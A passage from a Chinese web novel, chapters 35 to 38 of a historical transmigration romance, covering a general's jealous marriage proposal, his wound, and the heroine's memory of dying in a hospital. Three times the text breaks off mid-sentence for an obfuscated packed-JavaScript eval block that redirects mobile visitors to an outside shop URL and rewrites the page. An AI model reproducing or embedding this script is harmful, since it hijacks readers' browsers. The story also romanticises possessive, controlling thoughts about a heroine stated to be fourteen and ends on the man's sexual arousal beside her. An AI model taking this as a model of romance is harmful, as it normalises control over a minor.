廊下灯火昏黄，夜色浓稠如墨，可那抹玄色身影劈开黑暗撞入眼帘的霎那，眼神倏然一亮，像寒夜荒原里猝然划过的流星，在眼底掀起一层浅浅的波漪。 他——回来了？ 姚知韫心口处，有什么东西轻轻的撞了一下，原本紧绷的身子，在看到他的那一刹，不由自主的松了下来像远行的舟终于望见了熟悉的岸。 他未出声，只是缓缓伸出了手。 她甚至没有犹豫，脚步便已迈了出去，行至他身侧，她略作顿足，便将手放在他的掌心，那掌心的茧有些刺人，可偏偏她悬在半空的心，稳稳的落回胸腔。 霍抉轻轻一拉，她便静静的立在他的身后半步，是一副全然交付的姿态。 崔景衡的面色微白，袖中的手骤然握紧，直接泛出青白，他想说什么，可喉间如同被冰封，方才姚知韫那静水深潭般的讥讽目光，还烙在他眼底。 他怎么会以为她不愿意呢？那眼神已经说明一切，她走向霍抉的步伐没有半分迟疑，那样的心之所向，无需言说。 可为何——霍抉频频向崔家暗示，他属意崔令瑄，就连一贯慎重的父亲都有了与之联姻的想法，有了霍抉，于崔家是极大的助力。 如今看来，他却是豁然开朗。 霍抉不过是借着崔家，给他们铺了一条名正言顺的路，崔家、崔令瑄甚至皇上都只是他棋盘上的棋子。 他站在那里，以绝对占有的姿态，告诉他。 她是他的。 彻骨的寒意，从心底最深处翻涌上来，几乎冻结了他的血液。 他缓缓抬起眼，目光越过霍抉，落在姚知韫低垂的，温顺的侧脸上。 他们——是什么时候开始的？ 是赐婚之前，还是更早，而他这三年小心翼翼珍藏于心的悸动，是否从一开始，就只是一场笑话。 崔景衡的唇角，极其缓慢地，扯出一丝自嘲的弧度。 于她而言，他不过是一个突兀的闯入者，他甚至从未出现在她的选择里。 霍抉更是向前走了半步，走到崔景衡跟前，他比崔景衡略高了半头，此刻微微垂眸，居高临下。 “本侯的未婚妻，”他顿了顿，嘴角勾起一抹极淡极冷的弧度，“就不劳烦崔公子费心。” 崔景衡却只是深深地看了姚知韫一眼，她在昏蒙的光影里，越来越模糊。 他甚至忘了读书人的礼节，踉跄着转过身。 一步一步，迈过冰冷的石阶，走入深不见底的黑暗里。 35. 回来了 马车上两人都沉默着，车轮碾过的声响，变成某种沉闷的节奏，在两人之间蔓延。 霍抉背靠着车壁，闭着眼。 隐在斗篷里的手，五指无意识地反复收拢又松开，掌心那层常年握枪磨出的厚茧，能清晰感受到衣料每一丝纹理的摩擦。 上一世，二皇子逼宫上位，崔家更是如日中天，崔景衡身为嫡长，自是前程锦绣。 只是霍抉志不在朝堂，他只想为姚知韫报仇，所以才背称了二皇子的刀，只用了两年便得他信任，也才能鸩杀了皇帝，幼帝登基，他便没了心思，便也随着姚知韫去了。 崔景衡家世清贵，才名远播，举止温雅，他站在灯火阑珊处，便是人间最美好的景致。 那样的人，才是话本里该与姚知韫相配的翩翩公子，他们可以谈诗论画，赏梅品茗，活得干净、风雅、不染尘埃。 反观他霍抉。 是从地狱里爬回来的鬼魅，从边关黄沙里滚出来的杀神，掌心是洗不尽的血腥。 给不了她杏花微雨的浪漫，甚至还给她带来了惊扰。 她——会不会后悔？ 这个念头一旦生出，便如同毒藤疯长，瞬间缠紧了他的心脏，看着她立在崔景衡面前那过于平静的侧影，落在他眼里却刺目至极，他当时是真起了杀心。 那涌动在血液中的暴戾，是他压抑不住的，他甚至觉得，他会想杀光任何想靠近她的男人。 是的，他嫉妒的发狂。 是那种需要调动全身每一寸筋骨、每一分意志，才能勉强压制的嫉妒，这样的情绪像地火在冰层下奔突，烧灼着他的理智。 “将军——，”姚知韫的声音忽然响起，将他从这片危险的灼热中拽出些许。 他回神，撞进她眼底，那里有一丝极淡的忧虑，薄薄的，清透，却真实存在。 她并未察觉他方才心中那场惊涛骇浪，只是微微蹙着眉，将今日雅集之事细细说了一遍。她的声音平稳，条理清晰，可那抿紧的唇角，和偶尔蜷起又松开的手指，泄露了她的不安。 “……那画，”她最后道，抬起眼看他，目光清正，“不知将军是否有法子，帮我拿回来？我总觉得，与崔家……牵绊过深，不妥。” 霍抉的心，狠狠一颤。 像冰封的河面被春雷炸开第一道裂缝，滚烫的、汹涌的狂喜，毫无预兆地奔涌上来，瞬间冲垮了所有阴暗的猜忌与不安。 她说，不想和崔家有瓜葛。 她说，牵绊过深，不妥。 方才她走向他时毫不犹豫的步伐，此刻她言语间对崔家刻意的疏离……所有细微的、被他过度解读的迹象，此刻都被这句话赋予了全新的、明亮的意义。 她对崔景衡，并无其他想法。 她甚至，在主动划清界限。 一直攥紧成拳的手，终于缓缓松开了。掌心那几个月牙形的血痕，此刻才后知后觉地传来细微的刺痛。 可他丝毫不在意。 他看着姚知韫，看着她因忧虑而微蹙的眉尖，看着她清澈眼底映出的、属于他的影子。 那股几乎要将他吞噬的恐慌与嫉妒，渐渐退去，慢慢汇聚成一种踏实。 那又如何？她如今是他的未婚妻，未来会是他的妻子。 “画的事，交给我。”他开口，声音比方才低沉了些，却褪尽了所有冰冷与紧绷，只剩下一片沉甸甸的令人安心的平稳，“至于崔家——” 他话音微顿，眼底似有冷刃寒芒一掠而过，快得仿若烛火摇曳时投在墙上一闪即逝的影 “你不必忧心。” 车厢内沉寂片刻，只闻轮声轧札，霍抉转而问道，“你方才说，遇到了太子？” “嗯，”姚知韫眉微蹙，凝神细思，“他只让我尽快离开，瞧着并无恶意。” 之后，又是一阵沉默，姚知韫看他眉心紧蹙，眼眶泛红，看上去有着深深的倦意，她想问他梓州的事情结束了？还是暂时回来，是不是很累？ 可看他肃穆的神情，还是止住了。 便将思绪转向了今日之事，太子显然要帮的不是她，而是霍抉，可书院到底有什么陷阱等着她？若她在书院发生了意外，崔家也脱不了干系，于崔家又有何好处？ 抑或是说她出事，于谁最有利？ 难不成是苏家？可苏家是商贾，怕是没有胆子在崔家的地盘设计她？ 她于朝堂权术一道，虽通晓平衡之理，终究只是纸上谈兵。与那些自幼浸淫其中、呼吸间皆藏机锋之人相较，所差何止云泥。 姚知韫阖上眼帘，缓缓吁出一口气。气息幽微，却载满深倦与无奈，乃至一丝难以明言的沮丧——这些人斗得风生水起，怎就总爱拿女子作筏，视若棋枰上任意推挪的棋子？ “韫儿——，”霍抉低沉的嗓音拉回了姚知韫的思绪。 她缓缓睁开眼，眸中犹带未散的迷雾，静静望向他，似以目光相询。 霍抉迎着她的视线，喉结几不可察地滑动了一下。玄氅之下的手悄然握紧，他看着她日渐展露的珠玉之辉，看着她于无声处布下的玲珑心窍。愈是这般，便愈有旁人会窥见她的光芒，如他一般，为那深藏于淡泊之下的坚韧与□□所惊动。 更何况，霍家那些人……马上就要进京了。 他不能再等，亦不愿再横生枝节。 “我们成婚好不好？” 这句话终于出口，声音压得极低，却带着一种近乎破釜沉舟的恳切，甚至……藏着一丝连他自己都未曾察觉的不确定。 姚知韫闻言，并未如寻常女子般羞涩或者惊慌，她只是静静的看着霍抉，目光如深秋的湖水，将他眼底那来不及隐藏的焦灼与不确定悉数映照出来。 良久，久到霍抉攥起的手开始颤抖，她才轻声开口，“将军，可是出了什么事？” 霍抉斗篷里的手攥紧又松开，面上却是带上了柔和，他迎着她澄澈的目光，缓缓地将她的手拢进掌心。 “成了婚，你便是侯夫人，你可以做你想做的事情，是想行商立户，还是周济孤幼，或是立于人前，皆无人再以‘闺阁’之名掣肘于你，”他嗓音沙哑，褪去了所有冷硬外壳， “成了婚——，” 我才能将你置于触手可及的地方，才能名正言顺站在她的身侧，只是这些话，他压在了心底，最终化作眸底深处一片灼人的暗涌。 姚知韫听到‘周济幼孤’四个字，指尖无意识蜷了蜷，她倏然抬头，仿佛看见了他强硬姿态下的裂痕，还有她还不能完全读懂的沉重的不安。 她不知道要如何安慰，下意识的将掌心反转，握住了他的手。 掌心所触，竟是一片灼人的滚烫。 她愕然抬眼，望进他比平日深邃几分的眸子里，那里似有暗火沉浮，灼得人心惊。 他——发烧了？ 念头一起，她便顾不得旁的，抬起手背探向他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217102|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 额头，果然触手一片滚烫，心下犹自不确定，又反手试了试自己额头，蹙眉摇头，迟疑一瞬，又将手背移向了他的脖颈之处。 姚知韫几乎是下意识地倾身向前，一手轻扶他肩侧，将自己的唇瓣，极轻、极快地印在了他的前额上。 柔软微凉的触感，带着女子独有的清甜气息，如羽坠落。 霍抉浑身骤然僵直，连呼吸都似在那一刹凝固。血液奔涌的轰响盖过了一切车马声，背上灼伤因这突如其来的紧绷传来刺痛，却远不及额间那转瞬即逝的温软触感带来的冲击—— 她方才……亲了他？ 未及他思绪回转，她已倏然后退，重新端坐。面上并无半分羞赧或异色，依旧凝着眉，眸中只有纯粹的担忧与研判。 “你果然在发热。”她语气笃定，带着一丝不易察觉的自责。 霍抉喉结上下滚动了几下，良久，才从干涩的喉间挤出两个字：“……无妨。”声音低哑得厉害。 姚知韫却已不再看他，只扬声催促外间车夫：“再快些！” 纤白的手指无意识地攥紧了膝上衣褶。方才那些纷乱的思绪皆被抛掷脑后。脑海里闪过不知道多少种退烧的办法。 车轮陡然加速，碾过青石板路的声响急促如骤雨。 车厢内，方才额间那一点微凉的、柔软的触感，此刻仿佛一道灼热的烙印，穿透皮肉，镌刻进心底，任凭夜色如何喧嚣，那转瞬即逝的温存，在他的心湖掀起惊涛骇浪。 想到这里，霍抉拢着她的手的掌心又紧了紧，索性阖上眼帘，任由高热带来的虚乏与心底的翻涌的贪恋一同漫上，将头轻轻枕向她单薄的肩膀。 他靠近时，姚知韫不自觉地蹙了一下眉头，是她的错觉吗？竟然闻到了淡淡的血腥味。 “唔——”，他喉间逸出一声似痛苦又似喟叹的轻哼，气息灼热，拂过她耳畔的碎发，扰乱了她的思绪。 一股清冽幽微的香气随之沁入鼻端——似雪后初绽的寒梅，是她身上独有的一种说不上的干净气息。 闻着这样的气息，绷紧的神经在这一刻悄然断裂，他放任自己沉入这片陌生的、却令人心安的柔软之中。 高热之苦，姚知韫是尝过的。见他唇干欲裂、虚汗涔涔的模样，终究狠不下心推开。 她默许了肩头这份突如其来的重量，侧身从小案上取过温着的茶壶。马车奔得急，车身猛然一颠，壶嘴倾出的热水险些泼洒在她手背。她抿唇稳住腕子，小心地将茶盏凑近。 霍抉就着杯沿浅抿一口，便倦怠地偏过头去。姚知韫见状，将那青瓷盏收回，垂眸轻轻呵气。温白的水雾自她唇畔袅袅升起，复又落回盏中涟漪里，如此反复，直至盏壁触手仅存暖意。 她重新将杯盏递至他唇边，眸光沉静，大有不容推拒的执着。 霍抉唇角几不可察地牵起一道极浅的弧度，终是顺从地就着她手，又啜饮了两口。见她仍稳稳端着杯盏，一副“不饮尽不休”的模样，他眼底掠过一丝无奈，却又似浸着某种更深的东西。 他缓缓抬手，掌心覆上她执着杯盏的手背。那手比他小了许多，肌肤细腻微凉，在他滚烫的掌中格外分明。他就这般托着她的手，引着杯盏，将余下的温水缓缓饮尽。 茶水入喉，清润微甘。 而他掌心里，那片属于她的、微凉的细腻触感，却比茶汤更熨帖，悄然沁入四肢百骸，连背上灼痛的伤处，似乎都缓和了三分。 36. 她好好活着 一路无话，马车终于停在了姚府门口。 姚知韫不待车夫摆好脚凳，便径直跳下了马车，回神便去扶霍抉。 “青木，”她扬声唤道，“去找个大夫。” 早已候在门口的青木闻声疾步而出，见霍抉被姚知韫半扶着，脸色在檐下灯笼的光里透着不正常的潮红，心下大骇，“将军。” 他脸上写满急切，语速飞快，“属下只是去请吴公子，您这是——，”话音未尽，目光不自觉扫过一旁的姚知韫，终究不敢造次，将后半句咽了回去。 “稚跃来了？”霍抉压着嗓子问，脚步有些虚浮。 姚知韫心下蓦然明了——霍抉回府后定是听说她去了明德书院，这才顾不上伤势未愈，匆匆寻去。偏巧，就撞见了她与崔景衡立在廊下那一幕。 她抿唇不语，只与青木一左一右搀着他往里走，穿过几道垂花门，进了松柏院，此处本是她父亲生前的书房，因常常处理公务至深夜，便将西厢房辟为书斋，东厢房设为卧房，权作歇息之所。霍抉住进姚府后，为避嫌，便安顿在此院。 松柏院烛火通明，霍抉一进门，便再支撑不住，踉跄着被扶至榻边，姚知韫伸手便去解他颈间的系带，欲褪下那件厚重的玄氅。 “我自己……”，他欲抬手阻拦，却被她一个不容置疑的眼神制止了。 “别动。”她竭力地忽略心里的不适，以一种不容置疑的态度按住他的肩膀。 解开他玄色斗篷的系带，血腥味越来越重，可内里的罗袍也是玄色的，看不出什么，她扶着他的肩膀想要检查，触手却是一片黏腻——她借着烛火去看，满手的血。 腥臭的味道瞬间扑面而来，她的呼吸骤然停滞，那浓烈得化不开的血腥气，是死亡的味道。 她憎恶这味道，胜过世间一切腐朽。 那铁锈般的腥气，铺天盖地、淹没一切的刺目猩红，深深沁入魂魄的每一道纹路，穿越生死，跨越时空，在此刻猝不及防地，再度将她吞噬。 “又挂彩了？霍沉舟，你说说你，回京才几日，身上还有几块好皮肉？真当自己是铁打的不成！” 但见一位身着大红锦袍的年轻公子已风风火火闯了进来，眉眼俊朗，此刻却蹙得死紧，嘴里却是念念叨叨的。 青木已经迅速地捧来了热水，动作熟稔，显然这样的场景不是一次。 吴稚跃轻悄地侧身避过，口中“啧”了一声，脚下却已大步流星的走到榻前，将随身带来的紫檀药箱“哐”一声搁在床边小几上，动作却带着一种利落的轻柔。 他抱怨的话头，在瞥见榻边跪坐着的、满手是血的姚知韫时，戛然而止，眼底飞快地闪过一丝光，便恢复如常。 “这次又是哪里？”他满脸戏谑的神情，显然已是习以为常了。 霍抉还未来得及言语，姚知韫却是反射性的接了话，“肩——肩膀，” 霍抉不着痕迹地叹了口气，还是吓到她了吗？也是，她才十四岁，又长在闺阁，如何见过这般的阵仗？ “韫儿——，”他伸出手，想去触碰到，却牵扯到了伤口，他抬起的手顿了一下。 吴稚跃那双桃花眼眯了起来，目光在姚知韫与霍抉指尖扫了个来回，随即眉尾轻挑，脸上便挂上了一幅玩世不恭的神情，拖长了语调调侃着，“这便是——让霍将军牵肠挂肚的——嫂子？” “闭嘴——，”霍抉的目光落在姚知韫的身上，只从齿缝间挤出两个字。 吴稚跃不在意的耸耸肩，翻开医药箱找出里面的剪刀，直接剪开了霍抉身上的衣袍，却在碰到与伤口粘连的布料时，手中的剪刀顿了一下，他敛了脸上戏谑的表情，换上了一丝凝重。 “霍抉，你自个儿不要命，偏偏次要拖上我！小爷我招谁惹谁了——” 吴稚跃嘴上念叨着，手上的动作却没停，只是每一刀的分离都牵扯皮肉，霍抉紧绷着身躯，喉间压抑着闷哼，却始终未发一声。 当狰狞的伤口彻底暴露在烛光下时，吴稚跃脸上的神色肃然一紧，他眉头紧锁，眼底翻涌着锐利的寒光。 霍抉的伤从左肩胛斜贯至臂肘，皮肉焦黑扭曲，边缘红肿溃烂，黄浊的脓水混着新鲜的血色涔涔渗出，在烛火下泛着可怖的油光，腐坏气息也随之弥漫开来。 霍抉额头的冷汗浸湿了散落的鬓发，却仍在剧痛的间隙里，艰难地侧过头，涣散的目光寻找着她的身影。 看着她颤抖的身子，他心底泛起了心疼，嘴唇翕动，甚至试图弯起嘴角，想驱散她心底的恐惧。 “韫儿——，我没事！” 那个声音像风穿过濒死的枯竹，穿透眼前弥漫的血色与死亡气息，为她劈开了一道微弱却执拗的光。 韫儿是谁？是在叫她吗？不，我不是韫儿，我是沈清辞。 可那个声音裹着奇异的暖意，像冻土深处挣扎冒出的一点茸茸绿意，又像绝望黑暗里，有人擎起一盏灯。 她不自觉地，朝着那点微弱的光亮，茫然地踉跄地走过去，可双脚却像被钉在地上，动也动不了，只能任由那片令人窒息的猩红再度将她吞没。 霍抉强忍着疼，撑起身子，将她颤抖的身躯拢进怀抱，喃喃着“别怕”，滚烫的掌心有节奏的拍着后背。 姚知韫颤抖的身体慢慢平复，她能感受到那怀抱并不十分有力，甚至在微微颤抖，却带着不容置疑的温暖，将她从那片血腥的回忆中拉回现实冰冷的烛光里。 “韫儿——，”霍抉的唤声再次响起，比方才清晰许多，嗓音沙哑破碎浸透着毫不掩饰的焦灼。 姚知韫眼睫剧烈一颤，涣散的瞳孔缓缓聚光，光影晃动间，她看见了霍抉强撑着起身，正站在她面前，眼底映着她仓皇失色的脸。 “你，”她望着他渗着汗水的额头，喉间仿佛被什么哽住，很久才找回自己声音，“你受伤了。” “无妨——，”霍抉掌心抚上她的头发，安抚地道，“我没事，” “韫儿……我有些饿了。”他扯出一抹淡笑，安抚地说道。 她望着他强撑出的、比哭更令人心揪的淡笑，喉间似被什么堵住，发不出声音，只重重地点了一下头，艰涩道：“好……” 转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223586|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身时，她眼前骤然一黑，天地似在瞬间颠倒倾覆，身子不受控制地微微一晃，险些栽倒，她慌忙扶住近旁的桌角，五指深深扣住桌角，借着那一点坚实的触感，才勉强定住神魂。 她逃也似的踉跄着出了房间，不敢回头。 身后烛火摇曳，那刺鼻的血腥味死死缠绕着她。 姚知韫深吸一口气，任由凉气灌进肺腑，冰冷的夜风如同耳光抽在脸上，却吹不散鼻尖萦绕的血腥与脑海翻腾的猩红，她扶着廊下冰冷的柱子，胃里翻江倒海，眼前虚影重叠，病床上漫开的无边的血与方才霍抉背上狰狞的伤口，一点点模糊了界限，融为一体。 她好似又被拖回了那个瞬间，口鼻止不住涌出的，便是这样温热的粘稠的血，她茫然地抬手去擦，却怎么都擦不干净，徒留满手刺目的猩红，衣服上、被子上都是血。 呼吸灼烫，那灼人的气息像烧红的炭火，从咽喉一路灼烧到肺腑，四肢百骸在那无形的烈焰中蜷缩、枯焦，最后寸寸成灰。 身边来来往往的医生护士，原本是忙碌着的，可渐渐的便停了下来，化作一片令人心慌的寂静，她挣扎着，用尽最后一丝力气想要抓住那一丝光亮，可她听到了妈妈的哭泣声，一声声，锥心刺骨。 后来疼痛消失了，换来一片虚无，耳边只剩下冰冷的仪器发出漫长而单调的鸣音，屏幕上那些曾跳跃起伏的曲线，终是拉成一条笔直、决绝的横线。 侯在院子里的芙蓉快步上前，堪堪扶住她摇摇欲坠的身体，声音满是惊惶，“姑娘，你怎么了？” 姚知韫却置若罔闻，只是深深陷落在自己的思绪泥淖之中。 “姑娘——，”芙蓉焦急地唤着，“姑娘——。” 良久，姚知韫才缓缓回神，目光慢慢地聚焦在芙蓉的脸上。 是啊！沈清辞已经死了。 现在，她是姚知韫。 她——好端端的活着。 她极其缓慢的回过头，目光仿佛要穿透那扇紧闭的房门，看到里面那个正承受着炼狱般痛苦的人。 那个大夫说，他回京受了许多次伤。 又想到了上次的刺杀，还有今日他明明重伤在身，却还是到书院接她。 她明白她的处境，坐拥巨额资产，却没有自保的能力，原先她只想着混吃等死，天真地以为她只要不主动去招惹麻烦，麻烦就不会找上门来，可狼怎么会在意猎物的想法，他们从来不动手，只是觉得猎物还不够肥，等她长大了，下手才不会被人诟病。 不管霍抉出现的目的是什么，她是受益者，更何况他们即将成为夫妻，至少在未来的三年，他们夫妇一体，荣辱与共。 他们如今深陷权谋的漩涡，从赏菊宴到书院的算计，明枪易躲，暗箭难防，难道以后遇到危险都等待霍抉相救吗？难道她就要一直躲在他的身后，做一株攀附着他的菟丝花？ 上一世，她攀附着父母，成了他们一生的桎梏，如今，她若是不能成为战友，但至少不要成为负累。 想到这里，姚知韫的指甲深深掐进掌心，疼痛让她涣散的意识慢慢聚焦。 37. 这就是嫂子？ 姚知韫缓缓直起身，用袖子狠狠擦了下不知何时滑落脸颊的泪水。毅然决然地转过身。 这一次，她的脚步没有犹豫。 当她重新出现在门口时，吴稚跃正将最后一点腐肉剔净，抬头看见去而复返的她，眼中闪过一丝明显的讶异。 姚知韫的脸上已看不到仓皇。脸色却依旧苍白，但眼神沉静，如同风暴过后的海面，波澜不惊之下，是破釜沉舟的决意。 她屏住呼吸，将那浓烈的令人作呕的血腥气隔绝在身体之外，强撑着扯出一抹笑意。 “他的伤——”，她开口，声音有着压抑不住的微颤，却又极力的保持平稳，“如何？” 伏在榻上，意识在剧痛与高热间沉浮的霍抉，倏然绷紧了脊背。 她——回来了。 这个念头，比吴稚跃手中冰冷的剪刀更清晰的刺入他混沌的脑海，心底翻涌起一股奇异的矛盾的情绪。 一面贪婪的渴望她的靠近，想触手可及，想与她并肩。 另一面又是滚烫的焦灼与不忍，他还记得上次刺杀的事情，她害怕的样子，他总是想将她护在身后，不见风雨，不见血腥，安稳一生。 两股情绪撕扯间，他鬼使神差地抬起手，想要抓住她。 就在这个时候，吴稚跃手中的剪刀，猝不及防的戳到了伤口深处的某一点，他浑身猛地一颤，那只刚抬起的手骤然失力，颓然滑落。 下一秒，一只微凉的手倏然握住了他滑落的手掌。 “很疼吗？”她的声音就在很近的地方，清晰，沉静，没有惊慌，只有纯粹的关切。 霍抉几乎立刻地回握住，却又害怕自己的力道伤害到她，只能虚虚地拢着，却足以让他欣喜不已。 “你这伤不像是烧伤——，”吴稚跃手上的动作没停，战场上常常会遇到火油灼伤，（但）他后背上的伤却不像（火油灼伤那样）泛着焦黑，“究竟是什么伤的？” 霍抉强忍疼痛，额间冷汗涔涔，“东琅在梓州秘制一种黑火，碗口大小一丸，便能将地面砸出丈余深坑。” “比火油厉害？”吴稚跃手上动作一顿。 霍抉轻轻“嗯”了一声，气息有些不稳，那个鬼面人至今三缄其口，这黑火依旧迷雾重重。 姚知韫低垂着眼眸，忽略着那一股股冲入肺腑的血腥气，只能将注意力放在他们的对话上。 听到说比火油还厉害的东西，她下意识地开口，“火药若是用量足够，可以炸毁一座城墙。” 内室骤然一静，霍抉与吴稚跃的目光齐齐地落在姚知韫的脸上。 “火药？” 姚知韫被握在霍抉掌心的手微微一僵，心底暗叫一声“不好”，方才只是下意识的脱口而出，此刻却又清晰而冰冷的提醒她，她说多了。 一个深闺女子，怎么会知道兵事的隐秘，她缓缓低下头，声音也低了下去，“我只是——偶尔在父亲书房里的书上看到过。” 她将理由推给已故的姚将军，是她能想到的最好的托辞了，父亲戍边多年，有些奇书杂记，合情合理，而她多年未出门，翻阅父亲的书籍也说得过去。 “原来如此，”霍抉的声音有气无力，额间的汗打湿了枕头。似乎是相信了姚知韫的托辞。 说话间，霍抉的伤口已经包扎好了，屋内的血腥气尚未散尽，但混入了清苦的药香，姚知韫心中的憋闷总算好了一些。 霍抉掩好衣衫，斜倚在床柱上，可攥着姚知韫的手却从未放开。 “伤口我是帮你处理好了，帮你开了药方，”说着便将手上开好的药方递了过来，青木惯常的上前准备接过。 “至于——高热之症，”吴稚跃的桃花眼含着笑望向姚知韫，“今晚可是关键，还望嫂子尽心照顾。”说完，他对着霍抉轻挑眉尾，又是一副戏谑的神情。 姚知韫微微一怔，只得伸手接过，“多谢吴大夫。” “嫂子——客气了。”吴稚跃伸个懒腰，那宽大的红色广袖一起一落，在空中划出一个优美的弧度，“青木，本公子乏了，送本公子回轻烟坊。” 说着，便不由分说的揽着青木往外走，青木则是频频回头看着霍抉，霍抉轻轻颔首，青木才不情不愿的跟着吴稚跃走了出去。 屋内便只留下姚知韫一人守在榻边，烛火“噼啪”一声，爆开一朵灯花。 她抬眸看着霍抉，他闭着眼睛，脸色依旧苍白，可双颊却泛着潮红，呼吸略显沉重，眉心紧紧的蹙着，可能是因为常年蹙眉，他的眉心有着深深的痕迹。 姚知韫就着烛光，静静的看着他，印象中的霍抉总是严肃冷峻，姚知韫一直觉得他像一座山，无论风雪霜雨，他都矗立在那里，让人觉得他坚不可摧。 此刻的他仿佛卸下了所有的防备与冷硬，脸上依旧苍白，额发已经被汗水浸透，略显凌乱的贴在颊边，那总是抿成一条直线的唇，此刻也无意识地微微张开，看上去甚是虚弱，只是这般模样，倒是更像一个有血有肉的人了。 她瞥了一眼旁边凳子上的盛了水的盆，想拧条帕子给他敷一下，可霍抉攥着她的手始终没有放开，她便轻轻挣了一下。 “别动，”霍抉便睁开眼睛，用泛着猩红的眼睛看着她。 “我只是想拧条帕子给你敷一下。”姚知韫侧身坐在床边，感受着他掌心传来的炙热的温度，还是很烫。 “芙蓉——，”姚知韫稍稍扬高了声音。 侯在院子里的芙蓉应声而入，低垂着头走进，安静的等着姚知韫的指令。 “去看看药熬好了没？再把中午的酒酿圆子端一碗来。” “是，姑娘。” 芙蓉低低的应了一声，便退了出去。 霍抉动了动，却并未睁眼，只是下意识地将脸又朝着姚知韫的方向偏了偏，拉过她的手枕在颊边。 夜色深沉如墨，万籁寂静，满室烛火将两人的身影投在墙上，姚知韫就那么静静的坐着，任由他就那么全然不设防的枕着她的手心。 姚知韫抬起手，微微迟疑，还是缓缓的、试探性地，用指尖将他额间的湿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227105|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发，轻轻拨向一边。 窗外，远远传来梆子声，已是二更天了。 吃了一碗甜香软糯的酒酿圆子，又喝了药，霍抉便躺下去昏昏欲睡，可他刚入睡便被拖入了一片光怪陆离的迷雾，他时而身陷燥热，时而又沉如冰河，混乱中，只有一双微凉的手，不时替他更换额上的帕子。 “水——，”他无意识的呢喃。 很快，微温的清水便凑到唇边，他就着那只手，小口啜饮，清水入喉，缓解了火烧火燎的干渴，他满足地喟叹一声，意识又沉下去几分。 “韫儿——，”他梦中呓语，声音含糊，“都是我的错。” 守在一旁的姚知韫闻声，擦拭他手臂的动作微微一顿，略作犹豫，还是向前倾身，将耳朵贴近一些。 “我不会——再让人伤你——，”他说的断断续续，眉头紧锁，仿佛梦中也在与人搏斗，“我会护着你，也会找到真相，替姚兄报仇。” 姚知韫倏然坐直身子，什么报仇？父亲的死难道另有隐情？难道这便是霍抉当年为何弃文从武去嘉兰关的原因？ 所以，他护着她，真的只是因为父亲？为着一个承诺，便要搭上终身吗？ 不过还好只是三年，到时候他位高权重，想要再找一个合心意的人，也不是难事，他为一个承诺，她要一个自由，大家互惠互利，谁也不欠谁人，如此看来倒是她多心了。 姚知韫压下心底那隐隐泛起的不适，长长地舒了一口气，仿佛要将心中的浊气吞吐干净。 直到心中再次恢复平静，姚知韫才将目光再次落回到霍抉脸上，脸上的潮红已经褪去，脸色也在逐渐恢复。 霍抉这样的人，危险又腹黑，内核稳定，忍耐力也是超乎常人，只要是他想做的事情，无论多难都要求一个结果，有着掌控一切的力量。 她该庆幸，他不是敌人，至少现在不是。 霍抉的烧褪下去后，人睡的也安稳了许多，口中的呢喃也渐渐弱了，姚知韫再听便也听不清了。 她见着霍抉有所好转，悬着的心也放了下来，可他攥着她的手不放，她也无法离开，便换了方向倚着床头的床柱闭上了眼睛。 许是今日确实累了，不一会，姚知韫便睡了过去。 霍抉听到她绵长的呼吸，便缓缓睁开眼睛，坐起了身，今日怕是累着她了，她睡着后如同婴儿一般，对人毫无防备之心，他是否真的该将她拖入这漩涡之中，可他不想放手，无论是现在还是以后。 扶着她的肩膀，小心翼翼的将她放平在床上，她的睫毛颤了两下，只是轻轻抿了抿唇，便没了动作。 霍抉躺回她的身侧，目光贪婪又肆无忌惮地望着姚知韫，他知道她有戒心，那便给她一个护着她的理由，总有一日，她会习惯依赖他，习惯他的存在。。 他有的是耐心，哪怕需要一辈子，他也无所畏惧。 她的人只能是他的，心也亦然。 更鼓敲过五声，霍抉也有些乏了，将姚知韫的手轻轻拢在掌心，心满意足地睡去。 38. 过往 烛火早已燃尽，最后一缕青烟消散在凝固的黑暗里，屋子暗了下来，窗纸覆上了一丝昏蒙，透着一层极淡的青色光晕。 霍抉在固定的时间醒来，他微微偏过头，便看见躺在身侧的姚知韫，她侧脸枕着他的肩膀，许是因为天冷，她紧紧抱着他未受伤的胳膊，几乎贴在了他的身侧，几缕青丝从松挽的鬓发滑落，那张素日沉静的脸上，眼底的乌青昭示着她的倦意。 心底涌起温热的暖意，像被春阳悄然撬动的暗流，他的目光不自觉地流连忘返，从她的眉眼到纤细脆弱的脖颈，再到侧卧时略显凌乱的衣襟。 她正以一种毫无防备的柔顺姿态，躺在他的身侧。 燥热毫无预兆地自小腹窜起，如同暗夜里陡然爆开的火星，瞬间燎遍四肢百骸，这灼烫竟比他背上的伤口更鲜明的撕扯着他的神经。 